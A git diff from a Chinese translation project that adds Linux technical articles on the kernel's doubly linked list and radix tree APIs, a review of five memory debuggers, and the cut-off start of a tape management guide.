+下一点就是`typeof`,它也很简单。就如你从名字所理解的,它仅仅返回了给定变量的类型。当我第一次看到宏`container_of`的实现时,让我觉得最奇怪的就是表达式`((type *)0)`中的0。实际上这个指针巧妙的计算了从结构体特定变量的偏移,这里的`0`刚好就是位宽里的零偏移。让我们看一个简单的例子: + +```C +#include + +struct s { + int field1; + char field2; + char field3; +}; + +int main() { + printf("%p\n", &((struct s*)0)->field3); + return 0; +} +``` + +结果显示`0x5`。 + +下一个宏`offsetof`会计算从结构体起始地址到某个给定结构字段的偏移。它的实现和上面类似: + +```C +#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER) +``` + +现在我们来总结一下宏`container_of`。只需给定结构体中`list_head`类型 字段的地址、名字和结构体容器的类型,它就可以返回结构体的起始地址。在宏定义的第一行,声明了一个指向结构体成员变量`ptr`的指针`__mptr`,并且把`ptr` 的地址赋给它。现在`ptr` 和`__mptr` 指向了同一个地址。从技术上讲我们并不需要这一行,但是它可以方便地进行类型检查。第一行保证了特定的结构体(参数`type`)包含成员变量`member`。第二行代码会用宏`offsetof`计算成员变量相对于结构体起始地址的偏移,然后从结构体的地址减去这个偏移,最后就得到了结构体。 + +当然了`list_add` 和 `list_entry`不是``提供的唯一功能。双向链表的实现还提供了如下API: + +* list\_add +* list\_add\_tail +* list\_del +* list\_replace +* list\_move +* list\_is\_last +* list\_empty +* list\_cut\_position +* list\_splice +* list\_for\_each +* list\_for\_each\_entry + +等等很多其它API。 + +---- + +via: https://github.com/0xAX/linux-insides/blob/master/DataStructures/dlist.md + +译者:[Ezio](https://github.com/oska874) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/201605/20151123 Data Structures in the Linux Kernel.md b/published/201605/20151123 Data Structures in the Linux Kernel.md new file mode 100644 index 0000000000..d46d4293c4 --- /dev/null +++ b/published/201605/20151123 Data Structures in the Linux Kernel.md @@ -0,0 +1,198 @@ +Linux 内核里的数据结构 —— 基数树 +================================================================================ + +基数树 Radix tree +-------------------------------------------------------------------------------- +正如你所知道的,Linux内核提供了许多不同的库和函数,它们实现了不同的数据结构和算法。在这部分,我们将研究其中一种数据结构——[基数树 Radix tree](http://en.wikipedia.org/wiki/Radix_tree)。在 Linux 内核中,有两个文件与基数树的实现和API相关: + +* [include/linux/radix-tree.h](https://github.com/torvalds/linux/blob/master/include/linux/radix-tree.h) +* [lib/radix-tree.c](https://github.com/torvalds/linux/blob/master/lib/radix-tree.c) + +让我们先说说什么是 `基数树` 吧。基数树是一种 `压缩的字典树 (compressed trie)` ,而[字典树](http://en.wikipedia.org/wiki/Trie)是实现了关联数组接口并允许以 `键值对` 方式存储值的一种数据结构。这里的键通常是字符串,但可以使用任意数据类型。字典树因为它的节点而与 `n叉树` 不同。字典树的节点不存储键,而是存储单个字符的标签。与一个给定节点关联的键可以通过从根遍历到该节点获得。举个例子: + +``` + +-----------+ + | | + | " " | + | | + +------+-----------+------+ + | | + | | + +----v------+ +-----v-----+ + | | | | + | g | | c | + | | | | + +-----------+ +-----------+ + | | + | | + +----v------+ +-----v-----+ + | | | | + | o | | a | + | | | | + +-----------+ +-----------+ + | + | + +-----v-----+ + | | + | t | + | | + +-----------+ +``` + +因此在这个例子中,我们可以看到一个有着两个键 `go` 和 `cat` 的 `字典树` 。压缩的字典树也叫做 `基数树` ,它和 `字典树` 的不同之处在于,所有只有一个子节点的中间节点都被删除。 + +Linux 内核中的基数树是把值映射到整形键的一种数据结构。[include/linux/radix-tree.h](https://github.com/torvalds/linux/blob/master/include/linux/radix-tree.h)文件中的以下结构体描述了基数树: + +```C +struct radix_tree_root { + unsigned int height; + gfp_t gfp_mask; + struct radix_tree_node __rcu *rnode; +}; +``` + +这个结构体描述了一个基数树的根,它包含了3个域成员: + +* `height` - 树的高度; +* `gfp_mask` - 告知如何执行动态内存分配; +* `rnode` - 孩子节点指针. + +我们第一个要讨论的字段是 `gfp_mask` : + +底层内核的内存动态分配函数以一组标志作为 `gfp_mask` ,用于描述如何执行动态内存分配。这些控制分配进程的 `GFP_` 标志拥有以下值:( `GF_NOIO` 标志)意味着睡眠以及等待内存,( `__GFP_HIGHMEM` 标志)意味着高端内存能够被使用,( `GFP_ATOMIC` 标志)意味着分配进程拥有高优先级并不能睡眠等等。 + +* `GFP_NOIO` - 睡眠等待内存 +* `__GFP_HIGHMEM` - 高端内存能够被使用; +* `GFP_ATOMIC` - 分配进程拥有高优先级并且不能睡眠; + +等等。 + +下一个字段是`rnode`: + +```C +struct radix_tree_node { + unsigned int path; + unsigned int count; + union { + struct { + struct radix_tree_node *parent; + void *private_data; + }; + struct rcu_head rcu_head; + }; + /* For tree user */ + struct list_head private_list; + void __rcu *slots[RADIX_TREE_MAP_SIZE]; + unsigned long tags[RADIX_TREE_MAX_TAGS][RADIX_TREE_TAG_LONGS]; +}; +``` +这个结构体包含的信息有父节点中的偏移以及到底端(叶节点)的高度、子节点的个数以及用于访问和释放节点的字段成员。这些字段成员描述如下: + +* `path` - 父节点中的偏移和到底端(叶节点)的高度 +* `count` - 子节点的个数; +* `parent` - 父节点指针; +* `private_data` - 由树的用户使用; +* `rcu_head` - 用于释放节点; +* `private_list` - 由树的用户使用; + +`radix_tree_node` 的最后两个成员—— `tags` 和 `slots` 非常重要且令人关注。Linux 内核基数树的每个节点都包含了一组指针槽( slots ),槽里存储着指向数据的指针。在Linux内核基数树的实现中,空槽存储的是 `NULL` 。Linux内核中的基数树也支持标签( tags ),它与 `radix_tree_node` 结构体的 `tags` 字段相关联。有了标签,我们就可以对基数树中存储的记录以单个比特位( bit )进行设置。 + +既然我们了解了基数树的结构,那么该是时候看一下它的API了。 + +Linux内核基数树API +--------------------------------------------------------------------------------- + +我们从结构体的初始化开始。有两种方法初始化一个新的基数树。第一种是使用 `RADIX_TREE` 宏: + +```C +RADIX_TREE(name, gfp_mask); +```` + +正如你所看到的,我们传递了 `name` 参数,所以通过 `RADIX_TREE` 宏,我们能够定义和初始化基数树为给定的名字。`RADIX_TREE` 的实现很简单: + +```C +#define RADIX_TREE(name, mask) \ + struct radix_tree_root name = RADIX_TREE_INIT(mask) + +#define RADIX_TREE_INIT(mask) { \ + .height = 0, \ + .gfp_mask = (mask), \ + .rnode = NULL, \ +} +``` + +在 `RADIX_TREE` 宏的开始,我们使用给定的名字定义 `radix_tree_root` 结构体实例,并使用给定的 mask 调用 `RADIX_TREE_INIT` 宏。 而 `RADIX_TREE_INIT` 宏则是使用默认值和给定的mask对 `radix_tree_root` 结构体进行了初始化。 + +第二种方法是手动定义`radix_tree_root`结构体,并且将它和mask传给 `INIT_RADIX_TREE` 宏: + +```C +struct radix_tree_root my_radix_tree; +INIT_RADIX_TREE(my_tree, gfp_mask_for_my_radix_tree); +``` + +`INIT_RADIX_TREE` 宏的定义如下: + +```C +#define INIT_RADIX_TREE(root, mask) \ +do { \ + (root)->height = 0; \ + (root)->gfp_mask = (mask); \ + (root)->rnode = NULL; \ +} while (0) +``` + +和`RADIX_TREE_INIT`宏所做的初始化工作一样,`INIT_RADIX_TREE` 宏使用默认值和给定的 mask 完成初始化工作。 + +接下来是用于向基数树插入和删除数据的两个函数: + +* `radix_tree_insert`; +* `radix_tree_delete`; + +第一个函数 `radix_tree_insert` 需要3个参数: + +* 基数树的根; +* 索引键; +* 插入的数据; + +`radix_tree_delete` 函数需要和 `radix_tree_insert` 一样的一组参数,但是不需要传入要删除的数据。 + +基数树的搜索以两种方法实现: + +* `radix_tree_lookup`; +* `radix_tree_gang_lookup`; +* `radix_tree_lookup_slot`. + +第一个函数`radix_tree_lookup`需要两个参数: + +* 基数树的根; +* 索引键; + +这个函数尝试在树中查找给定的键,并返回和该键相关联的记录。第二个函数 `radix_tree_gang_lookup` 有以下的函数签名: + +```C +unsigned int radix_tree_gang_lookup(struct radix_tree_root *root, + void **results, + unsigned long first_index, + unsigned int max_items); +``` + +它返回的是记录的个数。 `results` 中的结果,按键排序,并从第一个索引开始。返回的记录个数将不会超过 `max_items` 的值。 + +最后一个函数`radix_tree_lookup_slot`将会返回包含数据的指针槽。 + +链接 +--------------------------------------------------------------------------------- + +* [Radix tree](http://en.wikipedia.org/wiki/Radix_tree) +* [Trie](http://en.wikipedia.org/wiki/Trie) + +-------------------------------------------------------------------------------- + +via: https://github.com/0xAX/linux-insides/blob/master/DataStructures/radix-tree.md + +作者:0xAX +译者:[cposture](https://github.com/cposture) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git a/published/201605/20151124 Review--5 memory debuggers for Linux coding.md b/published/201605/20151124 Review--5 memory debuggers for Linux coding.md new file mode 100644 index 0000000000..4c2e8373a0 --- /dev/null +++ b/published/201605/20151124 Review--5 memory debuggers for Linux coding.md @@ -0,0 +1,302 @@ +点评五款用于 Linux 编程的内存调试器 +================================================================================ +![](http://images.techhive.com/images/article/2015/11/penguinadmin-2400px-100627186-primary.idge.jpg) +>Credit: [Moini][1] + +作为一个程序员,我知道我肯定会犯错误——怎么可能不犯错!程序员也是人啊。有的错误能在编码过程中及时发现,而有些却得等到软件测试了才能显露出来。然而,还有一类错误并不能在这两个阶段被解决,这就导致软件不能正常运行,甚至是提前终止。 + +如果你还没猜出是那种错误,我说的就是和内存相关的错误。手动调试这些错误不仅耗时,而且很难发现并纠正。值得一提的是,这种错误很常见,特别是在用 C/C++ 这类允许[手动管理内存][2]的语言编写的软件里。 + +幸运的是,现行有一些编程工具能够帮你在软件程序中找到这些和内存相关的错误。在这些工具集中,我评估了五款支持 Linux 的、流行的、自由开源的内存调试器: Dmalloc 、 Electric Fence 、 Memcheck 、 Memwatch 以及 Mtrace 。在日常编码中,我已经用过这五个调试器了,所以这些评估是建立在我的实际体验之上的。 + +### [Dmalloc][3] ### + +**开发者**:Gray Watson + +**评估版本**:5.5.2 + +**支持的 Linux 版本**:所有种类 + +**许可**: CC 3.0 + +Dmalloc 是 Gray Watson 开发的一款内存调试工具。它是作为库来实现的,封装了标准内存管理函数如`malloc() , calloc() , free()`等,使程序员得以检测出有问题的代码。 + +![cw dmalloc output](http://images.techhive.com/images/article/2015/11/cw_dmalloc-output-100627040-large.idge.png) + +*Dmalloc* + +如同工具的网页所示,这个调试器提供的特性包括内存泄漏跟踪、[重复释放内存(double free)][4]错误跟踪、以及[越界写入(fence-post write)][5]检测。其它特性包括报告错误的文件/行号、通用的数据统计记录。 + +#### 更新内容 #### + +5.5.2 版本是一个 [bug 修正发行版][6],修复了几个有关构建和安装的问题。 + +#### 有何优点 #### + +Dmalloc 最大的优点就是高度可配置性。比如说,你可以配置它以支持 C++ 程序和多线程应用。 Dmalloc 还提供一个有用的功能:运行时可配置,这表示在 Dmalloc 执行时,可以轻易地启用或者禁用它提供的一些特性。 + +你还可以配合 [GNU Project Debugger (GDB)][7]来使用 Dmalloc ,只需要将`dmalloc.gdb`文件(位于 Dmalloc 源码包中的 contrib 子目录里)的内容添加到你的主目录中的`.gdbinit`文件里即可。 + +另外一个让我对 Dmalloc 爱不释手的优点是它有大量的资料文献。前往官网的 [Documentation 栏目][8],可以获取所有关于如何下载、安装、运行、怎样使用库,和 Dmalloc 所提供特性的细节描述,及其生成的输出文件的解释。其中还有一个章节介绍了一般问题的解决方法。 + +#### 注意事项 #### + +跟 Mtrace 一样, Dmalloc 需要程序员改动他们的源代码。比如说你可以(也是必须的)添加头文件`dmalloc.h`,工具就能汇报产生问题的调用的文件或行号。这个功能非常有用,因为它节省了调试的时间。 + +除此之外,还需要在编译你的程序时,把 Dmalloc 库(编译 Dmalloc 源码包时产生的)链接进去。 + +然而,还有点更麻烦的事,需要设置一个环境变量,命名为`DMALLOC_OPTION`,以供工具在运行时配置内存调试特性,比如定义输出文件的路径。可以手动为该环境变量分配一个值,不过初学者可能会觉得这个过程有点困难,因为该值的一部分用来表示要启用的 Dmalloc 特性——以十六进制值的累加值表示。[这里][9]有详细介绍。 + +一个比较简单方法设置这个环境变量是使用 [Dmalloc 实用指令][10],这是专为这个目的设计的方法。 + +#### 总结 #### + +Dmalloc 真正的优势在于它的可配置选项。而且高度可移植,曾经成功移植到多种操作系统如 AIX 、 BSD/OS 、 DG/UX 、 Free/Net/OpenBSD 、 GNU/Hurd 、 HPUX 、 Irix 、 Linux 、 MS-DOG 、 NeXT 、 OSF 、 SCO 、 Solaris 、 SunOS 、 Ultrix 、 Unixware 甚至 Unicos(运行在 Cray T3E 主机上)。虽然使用 Dmalloc 需要学习许多知识,但是它所提供的特性值得为之付出。 + +### [Electric Fence][15] ### + +**开发者**:Bruce Perens + +**评估版本**:2.2.3 + +**支持的 Linux 版本**:所有种类 + +**许可**:GPL v2 + +Electric Fence 是 Bruce Perens 开发的一款内存调试工具,它以库的形式实现,你的程序需要链接它。Electric Fence 能检测出[堆][11]内存溢出和访问已经释放的内存。 + +![cw electric fence output](http://images.techhive.com/images/article/2015/11/cw_electric-fence-output-100627041-large.idge.png) + +*Electric Fence* + +顾名思义, Electric Fence 在每个所申请的缓存边界建立了虚拟围栏,这样一来任何非法的内存访问都会导致[段错误][12]。这个调试工具同时支持 C 和 C++ 程序。 + +#### 更新内容 #### + +2.2.3 版本修复了工具的构建系统,使得 `-fno-builtin-malloc` 选项能真正传给 [GNU Compiler Collection (GCC)][13]。 + +#### 有何优点 #### + +我喜欢 Electric Fence 的首要一点是它不同于 Memwatch 、 Dmalloc 和 Mtrace ,不需要对你的源码做任何的改动,你只需要在编译的时候把它的库链接进你的程序即可。 + +其次, Electric Fence 的实现保证了产生越界访问的第一个指令就会引起段错误。这比在后面再发现问题要好多了。 + +不管是否有检测出错误, Electric Fence 都会在输出产生版权信息。这一点非常有用,由此可以确定你所运行的程序已经启用了 Electric Fence 。 + +#### 注意事项 #### + +另一方面,我对 Electric Fence 真正念念不忘的是它检测内存泄漏的能力。内存泄漏是 C/C++ 软件最常见也是最不容易发现的问题之一。不过, Electric Fence 不能检测出栈溢出,而且也不是线程安全的。 + +由于 Electric Fence 会在用户分配内存区的前后分配禁止访问的虚拟内存页,如果你过多的进行动态内存分配,将会导致你的程序消耗大量的额外内存。 + +Electric Fence 还有一个局限是不能明确指出错误代码所在的行号。它所能做只是在检测到内存相关错误时产生段错误。想要定位错误的行号,需要借助 [GDB][14]这样的调试工具来调试启用了 Electric Fence 的程序。 + +最后一点,尽管 Electric Fence 能检测出大部分的缓冲区溢出,有一个例外是,如果所申请的缓冲区大小不是系统字长的倍数,这时候溢出(即使只有几个字节)就不能被检测出来。 + +#### 总结 #### + +尽管局限性较大, Electric Fence 的易用性仍然是加分项。只要链接一次程序, Electric Fence 就可以在监测出内存相关问题的时候报警。不过,如同前面所说, Electric Fence 需要配合像 GDB 这样的源码调试器使用。 + +### [Memcheck][16] ### + +**开发者**:[Valgrind 开发团队][17] + +**评估版本**:3.10.1 + +**支持的 Linux 发行版**:所有种类 + +**许可**:GPL + +[Valgrind][18] 是一个提供好几款调试和分析 Linux 程序性能的工具的套件。虽然 Valgrind 能和不同语言——Java 、 Perl 、 Python 、 Assembly code 、 ortran 、 Ada 等——编写的程序一起工作,但是它主要还是针对使用 C/C++ 所编写的程序。 + +Memcheck ,一款内存错误检测器,是其中最受欢迎的工具。它能够检测出如内存泄漏、无效的内存访问、未定义变量的使用以及堆内存分配和释放相关的问题等诸多问题。 + +#### 更新内容 #### + +[工具套件( 3.10.1 )][19]主要修复了 3.10.0 版本发现的 bug 。除此之外,“从主干开发版本向后移植的一些补丁,修复了缺失的 AArch64 ARMv8 指令和系统调用”。 + +#### 有何优点 #### + +同其它所有 Valgrind 工具一样, Memcheck 也是命令行程序。它的操作非常简单:通常我们会使用诸如 `prog arg1 arg2` 格式的命令来运行程序,而 Memcheck 只要求你多加几个值即可,如 `valgrind --leak-check=full prog arg1 arg2` 。 + +![cw memcheck output](http://images.techhive.com/images/article/2015/11/cw_memcheck-output-100627037-large.idge.png) + +*Memcheck* + +(注意:因为 Memcheck 是 Valgrind 的默认工具,所以在命令行执行命令时无需提及 Memcheck。但是,需要在编译程序之初带上 `-g` 参数选项,这一步会添加调试信息,使得 Memcheck 的错误信息会包含正确的行号。) + +我真正倾心于 Memcheck 的是它提供了很多命令行选项(如上所述的`--leak-check`选项),如此不仅能控制工具运转还可以控制它的输出。 + +举个例子,可以开启`--track-origins`选项,以查看程序源码中未初始化的数据;可以开启`--show-mismatched-frees`选项让 Memcheck 匹配内存的分配和释放技术。对于 C 语言所写的代码, Memcheck 会确保只能使用`free()`函数来释放内存,`malloc()`函数来申请内存。而对 C++ 所写的源码, Memcheck 会检查是否使用了`delete`或`delete[]`操作符来释放内存,以及`new`或者`new[]`来申请内存。 + +Memcheck 最好的特点,尤其是对于初学者来说,是它会给用户建议使用哪个命令行选项能让输出更加有意义。比如说,如果你不使用基本的`--leak-check`选项, Memcheck 会在输出时给出建议:“使用 --leak-check=full 重新运行以查看更多泄漏内存细节”。如果程序有未初始化的变量, Memcheck 会产生信息:“使用 --track-origins=yes 以查看未初始化变量的定位”。 + +Memcheck 另外一个有用的特性是它可以[创建抑制文件( suppression files )][20],由此可以略过特定的不能修正的错误,这样 Memcheck 运行时就不会每次都报警了。值得一提的是, Memcheck 会去读取默认抑制文件来忽略系统库(比如 C 库)中的报错,这些错误在系统创建之前就已经存在了。可以选择创建一个新的抑制文件,或是编辑现有的文件(通常是`/usr/lib/valgrind/default.supp`)。 + +Memcheck 还有高级功能,比如可以使用[定制内存分配器][22]来[检测内存错误][21]。除此之外, Memcheck 提供[监控命令][23],当用到 Valgrind 内置的 gdbserver ,以及[客户端请求][24]机制(不仅能把程序的行为告知 Memcheck ,还可以进行查询)时可以使用。 + +#### 注意事项 #### + +毫无疑问, Memcheck 可以节省很多调试时间以及省去很多麻烦。但是它使用了很多内存,导致程序执行变慢([由文档可知][25],大概会花费 20 至 30 倍时间)。 + +除此之外, Memcheck 还有其它局限。根据用户评论, Memcheck 很明显不是[线程安全][26]的;它不能检测出 [静态缓冲区溢出][27];还有就是,一些 Linux 程序如 [GNU Emacs][28] 目前还不能配合 Memcheck 工作。 + +如果有兴趣,可以在[这里][29]查看 Valgrind 局限性的详细说明。 + +#### 总结 #### + +无论是对于初学者还是那些需要高级特性的人来说, Memcheck 都是一款便捷的内存调试工具。如果你仅需要基本调试和错误检查, Memcheck 会非常容易上手。而当你想要使用像抑制文件或者监控指令这样的特性,就需要花一些功夫学习了。 + +虽然罗列了大量的局限性,但是 Valgrind(包括 Memcheck )在它的网站上声称全球有[成千上万程序员][30]使用了此工具。开发团队称收到来自超过 30 个国家的用户反馈,而这些用户的工程代码有的高达两千五百万行。 + +### [Memwatch][31] ### + +**开发者**:Johan Lindh + +**评估版本**:2.71 + +**支持的 Linux 发行版**:所有种类 + +**许可**:GNU GPL + +Memwatch 是由 Johan Lindh 开发的内存调试工具,虽然它扮演的主要角色是内存泄漏检测器,但是(根据网页介绍)它也具有检测其它如[内存重复释放和错误释放][32]、缓冲区溢出和下溢、[野指针][33]写入等等内存相关问题的能力。 + +Memwatch 支持用 C 语言所编写的程序。也可以在 C++ 程序中使用它,但是这种做法并不提倡(由 Memwatch 源码包随附的 Q&A 文件中可知)。 + +#### 更新内容 #### + +这个版本添加了`ULONG_LONG_MAX`以区分 32 位和 64 位程序。 + +#### 有何优点 #### + +跟 Dmalloc 一样, Memwatch 也有优秀的文档资料。参考 USING 文件,可以学习如何使用 Memwatch ,可以了解 Memwatch 是如何初始化、如何清理以及如何进行 I/O 操作,等等。还有一个 FAQ 文件,旨在帮助用户解决使用过程遇到的一般问题。最后还有一个`test.c`文件提供工作案例参考。 + +![cw memwatch output](http://images.techhive.com/images/article/2015/11/cw_memwatch_output-100627038-large.idge.png) + +*Memwatch* + +不同于 Mtrace , Memwatch 产生的日志文件(通常是`memwatch.log`)是人类可阅读的格式。而且, Memwatch 每次运行时总会把内存调试结果拼接到输出该文件的末尾。如此便可在需要之时轻松查看之前的输出信息。 + +同样值得一提的是当你执行了启用 Memwatch 的程序, Memwatch 会在[标准输出][34]中产生一个单行输出,告知发现了错误,然后你可以在日志文件中查看输出细节。如果没有产生错误信息,就可以确保日志文件不会写入任何错误,多次运行的话确实能节省时间。 + +另一个我喜欢的优点是 Memwatch 还提供了在源码中获取其输出信息的方式,你可以获取信息,然后任由你进行处理(参考 Memwatch 源码中的`mwSetOutFunc()`函数获取更多有关的信息)。 + +#### 注意事项 #### + +跟 Mtrace 和 Dmalloc 一样, Memwatch 也需要你往你的源文件里增加代码:你需要把`memwatch.h`这个头文件包含进你的代码。而且,编译程序的时候,你需要连同`memwatch.c`一块编译;或者你可以把已经编译好的目标模块包含起来,然后在命令行定义`MEMWATCH`和`MW_STDIO`变量。不用说,想要在输出中定位行号, -g 编译器选项也少不了。 + +此外, Memwatch 缺少一些特性。比如 Memwatch 不能检测出对一块已经被释放的内存进行写入操作,或是在分配的内存块之外的进行读取操作。而且, Memwatch 也不是线程安全的。还有一点,正如我在开始时指出,在 C++ 程序上运行 Memwatch 的结果是不能预料的。 + +#### 总结 #### + +Memcheck 可以检测很多内存相关的问题,在处理 C 程序时是非常便捷的调试工具。因为源码小巧,所以可以从中了解 Memcheck 如何运转,有需要的话可以调试它,甚至可以根据自身需求扩展升级它的功能。 + +### [Mtrace][35] ### + +**开发者**: Roland McGrath 和 Ulrich Drepper + +**评估版本**: 2.21 + +**支持的 Linux 发行版**:所有种类 + +**许可**:GNU GPL + +Mtrace 是 [GNU C 库][36]中的一款内存调试工具,同时支持 Linux 上的 C 和 C++ 程序,可以检测由函数`malloc()`和`free()`不匹配的调用所引起的内存泄漏问题。 + +![cw mtrace output](http://images.techhive.com/images/article/2015/11/cw_mtrace-output-100627039-large.idge.png) + +*Mtrace* + +Mtrace 实际上是实现了一个名为`mtrace()`的函数,它可以跟踪程序中所有 malloc/free 调用,并在用户指定的文件中记录相关信息。文件以一种机器可读的格式记录数据,所以有一个 Perl 脚本——同样命名为 mtrace ——用来把文件转换并为人类可读格式。 + +#### 更新内容 #### + +[Mtrace 源码][37]和 [Perl 文件][38]同 GNU C 库( 2.21 版本)一起释出,除了更新版权日期,其它别无改动。 + +#### 有何优点 #### + +Mtrace 最好的地方是它非常简单易学。你只需要了解在你的源码中如何以及何处添加 mtrace() 及对应的 muntrace() 函数,还有如何使用 Mtrace 的 Perl 脚本。后者非常简单,只需要运行指令`mtrace `(例子见开头截图最后一条指令)。 + +Mtrace 另外一个优点是它的可伸缩性,这体现在不仅可以使用它来调试完整的程序,还可以使用它来检测程序中独立模块的内存泄漏。只需在每个模块里调用`mtrace()`和`muntrace()`即可。 + +最后一点,因为 Mtrace 会在`mtrace()`——在源码中添加的函数——执行时被触发,因此可以很灵活地[使用信号][39]动态地(在程序执行时)使能 Mtrace 。 + +#### 注意事项 #### + +因为`mtrace()`和`mauntrace()`函数 —— 声明在`mcheck.h`文件中,所以必须在源码中包含此头文件 —— 的调用是 Mtrace 工作的基础(`mauntrace()`函数并非[总是必要][40]),因此 Mtrace 要求程序员至少改动源码一次。 + +需要注意的是,在编译程序的时候带上 -g 选项( [GCC][41] 和 [G++][42] 编译器均有提供),才能使调试工具在输出结果时展示正确的行号。除此之外,有些程序(取决于源码体积有多大)可能会花很长时间进行编译。最后,带 -g 选项编译会增加了可执行文件的大小(因为提供了额外的调试信息),因此记得程序需要在测试结束后,不带 -g 选项重新进行编译。 + +使用 Mtrace ,你需要掌握 Linux 环境变量的基本知识,因为在程序执行之前,需要把用户把环境变量`MALLOC_TRACE`的值设为指定的文件(`mtrace()`函数将会记录全部信息到其中)路径。 + +Mtrace 在检测内存泄漏和试图释放未经过分配的内存方面存在局限。它不能检测其它内存相关问题如非法内存访问、使用未初始化内存。而且,[有人抱怨][43] Mtrace 不是[线程安全][44]的。 + +### 总结 ### + +不言自明,我在此讨论的每款内存调试器都有其优点和局限。所以,哪一款适合你取决于你所需要的特性,虽然有时候容易安装和使用也是一个决定因素。 + +要想捕获软件程序中的内存泄漏, Mtrace 最适合不过了。它还可以节省时间。由于 Linux 系统已经预装了此工具,对于不能联网或者不可以下载第三方调试调试工具的情况, Mtrace 也是极有助益的。 + +另一方面,相比 Mtrace , Dmalloc 不仅能检测更多错误类型,还提供更多特性,比如运行时可配置、 GDB 集成。而且, Dmalloc 不像这里所说的其它工具,它是线程安全的。更不用说它的详细资料了,这让 Dmalloc 成为初学者的理想选择。 + +虽然 Memwatch 的资料比 Dmalloc 的更加丰富,而且还能检测更多的错误种类,但是你只能在 C 语言写就的程序中使用它。一个让 Memwatch 脱颖而出的特性是它允许在你的程序源码中处理它的输出,这对于想要定制输出格式来说是非常有用的。 + +如果改动程序源码非你所愿,那么使用 Electric Fence 吧。不过,请记住, Electric Fence 只能检测两种错误类型,而此二者均非内存泄漏。还有就是,需要基本了解 GDB 以最大化发挥这款内存调试工具的作用。 + +Memcheck 可能是其中综合性最好的了。相比这里提及的其它工具,它能检测更多的错误类型,提供更多的特性,而且不需要你的源码做任何改动。但请注意,基本功能并不难上手,但是想要使用它的高级特性,就必须学习相关的专业知识了。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/article/3003957/linux/review-5-memory-debuggers-for-linux-coding.html + +作者:[Himanshu Arora][a] +译者:[soooogreen](https://github.com/soooogreen) +校对:[PurlingNayuki](https://github.com/PurlingNayuki),[ezio](https://github.com/oska874) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.computerworld.com/author/Himanshu-Arora/ +[1]:https://openclipart.org/detail/132427/penguin-admin +[2]:https://en.wikipedia.org/wiki/Manual_memory_management +[3]:http://dmalloc.com/ +[4]:https://www.owasp.org/index.php/Double_Free +[5]:https://stuff.mit.edu/afs/sipb/project/gnucash-test/src/dmalloc-4.8.2/dmalloc.html#Fence-Post%20Overruns +[6]:http://dmalloc.com/releases/notes/dmalloc-5.5.2.html +[7]:http://www.gnu.org/software/gdb/ +[8]:http://dmalloc.com/docs/ +[9]:http://dmalloc.com/docs/latest/online/dmalloc_26.html#SEC32 +[10]:http://dmalloc.com/docs/latest/online/dmalloc_23.html#SEC29 +[11]:https://en.wikipedia.org/wiki/Memory_management#Dynamic_memory_allocation +[12]:https://en.wikipedia.org/wiki/Segmentation_fault +[13]:https://en.wikipedia.org/wiki/GNU_Compiler_Collection +[14]:http://www.gnu.org/software/gdb/ +[15]:https://launchpad.net/ubuntu/+source/electric-fence/2.2.3 +[16]:http://valgrind.org/docs/manual/mc-manual.html +[17]:http://valgrind.org/info/developers.html +[18]:http://valgrind.org/ +[19]:http://valgrind.org/docs/manual/dist.news.html +[20]:http://valgrind.org/docs/manual/mc-manual.html#mc-manual.suppfiles +[21]:http://valgrind.org/docs/manual/mc-manual.html#mc-manual.mempools +[22]:http://stackoverflow.com/questions/4642671/c-memory-allocators +[23]:http://valgrind.org/docs/manual/mc-manual.html#mc-manual.monitor-commands +[24]:http://valgrind.org/docs/manual/mc-manual.html#mc-manual.clientreqs +[25]:http://valgrind.org/docs/manual/valgrind_manual.pdf +[26]:http://sourceforge.net/p/valgrind/mailman/message/30292453/ +[27]:https://msdn.microsoft.com/en-us/library/ee798431%28v=cs.20%29.aspx +[28]:http://www.computerworld.com/article/2484425/linux/5-free-linux-text-editors-for-programming-and-word-processing.html?nsdr=true&page=2 +[29]:http://valgrind.org/docs/manual/manual-core.html#manual-core.limits +[30]:http://valgrind.org/info/ +[31]:http://www.linkdata.se/sourcecode/memwatch/ +[32]:http://www.cecalc.ula.ve/documentacion/tutoriales/WorkshopDebugger/007-2579-007/sgi_html/ch09.html +[33]:http://c2.com/cgi/wiki?WildPointer +[34]:https://en.wikipedia.org/wiki/Standard_streams#Standard_output_.28stdout.29 +[35]:http://www.gnu.org/software/libc/manual/html_node/Tracing-malloc.html +[36]:https://www.gnu.org/software/libc/ +[37]:https://sourceware.org/git/?p=glibc.git;a=history;f=malloc/mtrace.c;h=df10128b872b4adc4086cf74e5d965c1c11d35d2;hb=HEAD +[38]:https://sourceware.org/git/?p=glibc.git;a=history;f=malloc/mtrace.pl;h=0737890510e9837f26ebee2ba36c9058affb0bf1;hb=HEAD +[39]:http://webcache.googleusercontent.com/search?q=cache:s6ywlLtkSqQJ:www.gnu.org/s/libc/manual/html_node/Tips-for-the-Memory-Debugger.html+&cd=1&hl=en&ct=clnk&gl=in&client=Ubuntu +[40]:http://www.gnu.org/software/libc/manual/html_node/Using-the-Memory-Debugger.html#Using-the-Memory-Debugger +[41]:http://linux.die.net/man/1/gcc +[42]:http://linux.die.net/man/1/g++ +[43]:https://sourceware.org/ml/libc-help/2014-05/msg00008.html +[44]:https://en.wikipedia.org/wiki/Thread_safety diff --git a/published/201605/20151130 Useful Linux and Unix Tape Managements Commands For Sysadmins.md b/published/201605/20151130 Useful Linux and Unix Tape Managements Commands For Sysadmins.md new file mode 100644 index 0000000000..5bf991fef4 --- /dev/null +++ b/published/201605/20151130 Useful Linux and Unix Tape Managements Commands For Sysadmins.md @@ -0,0 +1,426 @@ +给系统管理员的15条实用 Linux/Unix 磁带管理命令 +================================================================================ +磁带设备应只用于定期的文件归档或将数据从一台服务器传送至另一台。通常磁带设备与 Unix 机器连接,用 mt 或 mtx 控制。强烈建议您将所有的数据同时备份到磁盘(也许是云中)和磁带设备中。在本教程中你将会了解到: + +- 磁带设备名 +- 管理磁带驱动器的基本命令 +- 基本的备份和恢复命令 + +### 为什么备份? ### + 